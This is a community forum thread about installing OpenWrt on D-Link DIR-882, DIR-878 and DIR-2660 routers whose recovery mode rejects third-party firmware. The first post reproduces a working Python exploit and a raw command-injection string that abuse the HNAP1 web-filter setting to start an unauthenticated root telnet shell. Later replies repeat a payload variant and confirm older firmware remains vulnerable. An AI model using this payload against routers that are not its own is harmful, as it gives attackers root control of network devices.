D-LINK recovery mode (DIR-882 DIR-878 DIR-867)

Notes on workaround for Recovery Mode not flashing openwrt firmware. Added to Wiki
==== Recovery Mode not accepting openwrt/3rd party firmware====
Nov 2020
I was unable to get the Recovery Mode to accept the openwrt-factory firmware snapshot (or any other non-D-LINK firmware image eg dd-wrt).

Once the recovery page would load once, it would go offline. Same with using the curl command. Trying to load the page a second time would never work.
Uploading firmware image with curl would work if it was the first request on the recovery mode interface. But with any non D-LINK firmware, it would not flash it, and become unresponsive.

However, unencrypted D-LINK firmware would flash successfully in the recovery mode. There are at least two versions of unencrypted firmware for the DIR-882.
The earliest firmware, DIR-882-US_REVA_FIRMWARE_v1.00B07.zip, as well as one in DIR-882_REVA_FIRMWARE_PATCH_v1.02B02_BETA.zip.

Using DIR-882-US_REVA_FIRMWARE_v1.00B07.bin allowed to open a telnetd server on the router using a known vulnerability. This may work on later firmware versions as well, untested which ones.

Once the telnet connection is made, the router's stock web interface can be used to upload the openwrt firmware. It will say the firmware failed/invalid, but will leave a copy in /tmp. This can then be flashed from within the telnet session using the stock mtd_write utility.

  • Try to enable the telnetd service using the vulnerability exploit first. If that doesn't work, downgrade to a known vulnerable version.
    • Of note, be sure the have connected computers IP in the 192.168.0.X/24 range while using stock firmware or recovery mode, and 192.168.0.X/24 once finished to connect to OpenWrt.
  • enable telnetd service.
    • using information and script from https://wzt.ac.cn/2020/08/28/bypass_auth/
    • Either use the web interface to save the following string into the "Web Filter". (Untested, but this is the effect of the script.)
      r"1.com/&$(telnetd$IFS$9-l$IFS$9/bin/sh$IFS$9-b$IFS$9'0.0.0.0')&"
    • or save this script as DIR-878.py and run it as eg #python DIR-878.py 192.168.0.1

import requests
import sys
import os

telnet_payload = r"1.com/&$(telnetd$IFS$9-l$IFS$9/bin/sh$IFS$9-b$IFS$9'0.0.0.0')&"
burp0_cookies = {"uid": "CataLpa"}
burp0_headers = {"Accept": "text/xml", \
                 "SOAPACTION": "\"http://purenetworks.com/HNAP1/SetWebFilterSettings\"", \
                 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36", \
                 "Content-Type": "text/xml", \
                 "Accept-Encoding": "gzip, deflate", \
                 "Accept-Language": "zh-CN,zh;q=0.9", \
                 "Connection": "close"}

burp0_data = "<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n<soap:Body>\n<SetWebFilterSettings>\n\t<WebFilterMethod>DENY</WebFilterMethod>\n\t<NumberOfEntry>1</NumberOfEntry>\n\t<WebFilterURLs>\n\t\t<string>" + telnet_payload + "</string>\n\t</WebFilterURLs>\n</SetWebFilterSettings>\n</soap:Body>\n</soap:Envelope>"

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("[*] Usage: python DIR-878.py <ip>")
        exit(0)
    IP = sys.argv[1]
    print("[*] Send payload to " + IP)
    burp0_url = "http://" + IP + ":80/HNAP1/?Login.html"
    try:
        res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
        if "200" in str(res.status_code):
            print("[*] Exploit success!")
            print("[!] telnet " + IP)
            exit(0)
        print("[*] Exploit failed. Bug fixed :(")
        exit(0)
    except Exception as e:
        print("[-] Exploit failed.")
        print(e)


- If not successful, download and extract unencrypted stock firmware
- Boot router into recovery mode, then flash vulnerable stock unencrypted firmware
fwfile=DIR-882_A1_FW100B07.bin curl -v -i -F "firmware=@${fwfile}" 192.168.0.1
- reboot
- retry exploit

  • connect by telnet, eg #telnet 192.168.0.1
  • upload openwrt-factory image, eg. openwrt-ramips-mt7621-dlink_dir-882-a1-squashfs-factory.bin through the stock firmware's update firmware page
  • in telnet session, run mtd_write -r -w write /tmp/firmware.img Kernel
    *(this was determined from examining the extracted stock firmware, eg. "#strings /bin/prog-cgi |grep mtd_write"
  • The openwrt firmware should flash and the system reboot into OpenWrt!
3 Likes

Thank you very much for the guide. :slightly_smiling_face:
I have a DIR-882 and I can confirm that the fw 1.11 is still exploitable using the python script.
However, after the "failed upgrade" I didn't find the openwrt factory file in the /tmp folder, but I succeeded copying it in a usb disk and the flashing using that file. Eg:

mtd_write -r -w write /mnt/Netac_OnlyDisk_91921/openwrt-ramips-mt7621-dlink_dir-882-a1-squashfs-factory.bin Kernel

This worked on DIR-2660 with the oldest FW available (FW 1.00 RevA1) at least up to the point of managing to login and having access to the mtd_write. In my case, the stock firmware also had wget, so it was easily possible to download the openwrt image to the router.

Also, I could access the page http://<router_address>/WebsiteFilter.html (which is not very visible from the stock gui) and add a filter similar to:

somesite.com/&$(telnetd$IFS$9-l$IFS$9/bin/sh$IFS$9-b$IFS$9'192.168.0.1')&

which would do the trick.

There is an easy, but strange, solution to get it to load into recovery...

After releasing the reset button in recovery mode, browse to http://192.168.0.1. Browse for the firmware, but DO NOT click "Upload." At this point, leave the browser window open, but put the router in recover mode again by holding down the reset button, power off, power on, wait 5 seconds and release the reset button... NOW click "Upload" in the browser. Firmware load will continue as expected.

4 Likes

For my DIR-878, I can not confirm this procedure. I tried it with the latest Manjaro and Firefox and also with the curl method. I found a good explanation for the problem here: [https://oldwiki.archive.openwrt.org/toh/d-link/dir-615#browser.issues]
Using the pre-historic portable app of Firefox 13 on the latest Windows 21H1, I was successfully able to flash OpenWRT 21.02.
I think this information should also be added in the wiki under the topic D-Link Recovery GUI Troubleshooting

this is not the same for all devices
the dir-878 is fine with windows browsersI use the current firefox
"the same firefox won't work on linux"
as the same for 1st logging into openwrt yon need to be in private mode
but my DIR-825 need windows xp to upload it' firmware in recover mode

hopefully soon you can just flash it from the dlink firmware

To update this old thread slightly.

Just bought a 2nd DIR-882, wanted a router capable of 866Mbps 802.11ac which ran OpenWRT well, didn't cost the earth and was available more or less immediately. I have a DIR-882 which is running just fine on 21.02.1 and getting another one seemed to be a good option.

I forgot 2 things:

  1. some people have issues on 5GHz, thankfully so far I'm not one of them but we'll see as I will be deploying the new one with a completely different set of clients

  2. they are a bit of a pain to get OpenWRT installed.

The new one arrived with 1.11 firmware (oddly, an older version than the one I bought in Jan '22 which had 1.20), I started with the recovery console as before but got nowhere fast

  • As expected trying to upload a firmware image failed with "nothing happening".
  • digging a bit further the HTTP server for the recovery mode will respond to just one HTTP request - after that it won't respond to any more SYN packets
    • that's why dirkomatic's hack works
    • it's also why the curl command has to be the first request as noted by tmgoblin
    • it means that the older explanation regarding HTTP 1.0 vs 1.1 does not apply to the DIR-882, forcing curl to HTTP 1.0 is unlikely to help.
  • even resetting the recovery GUI between browsing for the firmware image and clicking upload fails with an openwrt image, although the image does, at least, upload
  • using curl appeared to work but was back to v1.11 firmware when I reboooted :frowning:

However I can confirm

  • 1.11 is still vulnerable to the telnetd hack
  • it does not leave the firmware image in /tmp
  • BUT, does have wget built in to BusyBox so you can download a firmware image from a web server as an alternative to using a USB stick.

So the quickest, most hassle free route to installing OpenWRT is probbaly

  • downgrade to 1.11 (haven't tried from later versions but presumably can be done from the standard web GUI; 1.11 firmware can still be downloaded from the D-Link support website)
  • run the python exploit to enable telnetd and log in as root.
  • use wget or a USB stick to get the OpenWRT factory image downloaded onto the router
  • then write the image to flash with mtd_write, as above.

kind of old thread, but there is more helpful content on other threads to these issues.
I am adding some cross-linking, in case someone just found this one thread:

same issue on D-Link, on slightly different device during discussion:

There were some more threads for this topic. I remember there was yet another thread that explained something about headers and probably „http 100 continue“ not being properly implemented in D-Link recovery room partitions of some D-Link devices, but I cannot seem to find the thread right now.

The described fix might help as well here, yet the main cause of the issue on 2660 might be likely different. If it is the other cause, there are also alternative easier solutions available:
as far as I remember, newer 2660 A1 versions and all (?) of A2 have an additional problem. Their flashing via emergency room feature might not fail due to the previously mentioned http problem, but because their emergency room partition firmware version expects an additional crypto-signed header, which has not been present in openWRT images before v22. So flashing a v22 or later OpenWRT image can avoid running into this particular problem, if its due to the formerly missing headef. There are also some other threads regarding this issue. Maybe less and less relevant, once OpenWRT v22 or newer are commonly used.

here are some versions for the DIR-878-A1 & DIR-882-A1 flashable from the d-link firmware
http://luckys.onmypc.net/openwrt/DIR-882/openwrt-21.02.2-ramips-mt7621-dlink_dir-882-a1-squashfs-factory-enc.bin
http://luckys.onmypc.net/openwrt/DIR-878/openwrt-21.02.2-ramips-mt7621-dlink_dir-878-a1-squashfs-factory-enc.bin
the PR that would have made this possible in openwrt

1 Like